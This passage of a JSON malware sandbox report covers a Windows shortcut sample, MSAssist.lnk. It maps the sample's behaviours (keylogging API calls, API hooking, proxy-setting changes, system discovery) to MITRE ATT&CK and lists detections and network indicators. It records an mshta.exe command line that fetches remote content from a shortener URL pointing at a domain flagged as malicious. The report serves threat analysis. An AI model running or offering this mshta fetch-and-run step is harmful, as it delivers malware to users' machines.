Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Hooks internet related APIs"},{"type":"informative","value":"Hooks API calls"},{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"mshta.exe\" called \"LoadResource\" (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00000000-00002696-00000033-3087065","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"mshta.exe\" queried SystemProcessInformation at 00000000-00002696-00000033-469824\n \"mshta.exe\" queried SystemProcessInformation at 00000000-00002696-00000033-1612525\n \"mshta.exe\" queried SystemProcessInformation at 00000000-00002696-00000033-2019346","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"mshta.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00002696)\n \"mshta.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"mshta.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"mshta.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\times.ttf\" at 00000000-00002696-00000046-6164916","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$26","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"mshta.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00002696)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\miYAGQ8\\AppData\\Local\\Microsoft\\Windows\\History (UID: 00000000-00002696)","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"67.199.248.10:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"!IECompat!Mutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"ThemeApiConnectionRequest\" (Indicator: \"ThemeApiConnectionRequest\")","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\" (Indicator: \"mozilla/4.0 (\")\n \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CL\" (Indicator: \"mozilla/4.0 (\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$28","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bit.ly\"\n \"page.googledocpage.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"General","name":"References url in command line","description":"Process \"mshta.exe\" with commandline \"https://bit.ly/35FlWc2\" (UID: 00000000-00002696)","origin":"Monitored Target","id":"target-174","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"mshta.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"S8TE6E8J.txt\" has type \"ASCII text\"- Location: [%APPDATA%\\Microsoft\\Windows\\Cookies\\S8TE6E8J.txt]- [targetUID: 00000000-00002696]\n \"35FlWc2_1_.htm\" has type \"HTML document ASCII text\"- [targetUID: 00000000-00002696]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$29","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"mshta.exe\" touched file \"%PROGRAMFILES%\\Microsoft Office\\Office14\\outllib.dll\"","origin":"API Call","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2a","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files","description":"$2b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"mshta.exe\" called \"HttpOpenRequestW\" with parameter HTTP method:\"GET\" object: /35FlWc2\" - (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://page.googledocpage.com/WiU+Q6cgIESl8BPJ/swFnyqX1uFiFiTyQY6yZbnIMwc=\"\n Heuristic match: \"bit.ly\"\n Heuristic match: \"page.googledocpage.com\"\n Pattern match: \"https://bit.ly/35FlWc2\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"\"\nBitly\nmoved here\n\" (Indicator: \"https://\")\n \"moved here\" (Indicator: \"https://\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 67.199.248.10 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"mshta.exe\" called \"CreateCompatibleBitmap\" (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"mshta.exe\" called \"GetKeyState\"","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"mshta.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"mshta.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"mshta.exe\" called \"FindFirstFileW\" (UID: 00000000-00002696)\n \"mshta.exe\" called \"FindNextFileW\" (UID: 00000000-00002696)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"HttpOpenRequestA@WININET.DLL\" in \"mshta.exe\"\n \"URLDownloadToFileW@URLMON.DLL\" in \"mshta.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"mshta.exe\"\n \"ShellExecuteW@SHELL32.DLL\" in \"mshta.exe\"\n \"InternetReadFile@WININET.DLL\" in \"mshta.exe\"\n \"URLDownloadToFileA@URLMON.DLL\" in \"mshta.exe\"\n \"ShellExecuteA@SHELL32.DLL\" in \"mshta.exe\"\n \"InternetOpenA@WININET.DLL\" in \"mshta.exe\"\n \"InternetOpenW@WININET.DLL\" in \"mshta.exe\"\n \"GetIpNetTable@IPHLPAPI.DLL\" in \"mshta.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"mshta.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"S8TE6E8J.txt\" - Location: [%APPDATA%\\Microsoft\\Windows\\Cookies\\S8TE6E8J.txt]- [targetUID: 00000000-00002696]","origin":"Binary File","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"mshta.exe\" wrote bytes \"e9605fd8ff\" to virtual address \"0xFD31AE30\" (\"HttpOpenRequestA@WININET.DLL\")\n \"mshta.exe\" wrote bytes \"e91eaf18fe\" to virtual address \"0xFEF15D70\" (\"URLDownloadToFileW@URLMON.DLL\")\n \"mshta.exe\" wrote bytes \"e92e42e7ff\" to virtual address \"0xFD22CB20\" (\"HttpOpenRequestW@WININET.DLL\")\n \"mshta.exe\" wrote bytes \"e9807403ff\" to virtual address \"0xFE069794\" (\"ShellExecuteW@SHELL32.DLL\")\n \"mshta.exe\" wrote bytes \"e99eb2e6ff\" to virtual address \"0xFD235A70\" (\"InternetReadFile@WININET.DLL\")\n \"mshta.exe\" wrote bytes \"e91e2910fe\" to virtual address \"0xFEF9E3B0\" (\"URLDownloadToFileA@URLMON.DLL\")\n \"mshta.exe\" wrote bytes \"e9040cdffe\" to virtual address \"0xFE2B0050\" (\"ShellExecuteA@SHELL32.DLL\")\n \"mshta.exe\" wrote bytes \"e92e0aebff\" to virtual address \"0xFD1F03E0\" (\"InternetOpenA@WININET.DLL\")\n \"mshta.exe\" wrote bytes \"e98e0bebff\" to virtual address \"0xFD1F0240\" (\"InternetOpenW@WININET.DLL\")\n \"mshta.exe\" wrote bytes \"e978263201\" to virtual address \"0xFBD7E558\" (\"GetIpNetTable@IPHLPAPI.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"11/90 reputation engines marked \"http://page.googledocpage.com\" as malicious (12% detection rate)\n 11/90 reputation engines marked \"https://page.googledocpage.com\" as malicious (12% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"29/58 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 67.199.248.10 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"HttpOpenRequestA@WININET.DLL\" in \"mshta.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"mshta.exe\"\n \"InternetReadFile@WININET.DLL\" in \"mshta.exe\"\n \"InternetOpenA@WININET.DLL\" in \"mshta.exe\"\n \"InternetOpenW@WININET.DLL\" in \"mshta.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"29/58 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":89,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":11,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["banking","criminal","cryptocurrencytheft","culebra","geniespider","rat","stardustchollima","targeted","targetedcrimeware","velvetchollima","backdoor","keylogger"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"63d42bc833a2986425431787","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Heur.BZC.YAX.Nioc.1","contacted_countries":["USA"],"submit_name":"MSAssist.lnk","analysis_start_time":"2023-01-27T19:53:45+00:00","indicators_count":{"informative":49,"suspicious":4,"malicious":2},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"67.199.248.10","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]}],"dns_resolutions":[{"domain":"bit.ly","address":"67.199.248.10","ttl":19,"country":"United States","sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"domain":"page.googledocpage.com","ttl":900,"country":"-","registrar_name":"Porkbun LLC","registrar_organization":"Private by Design, 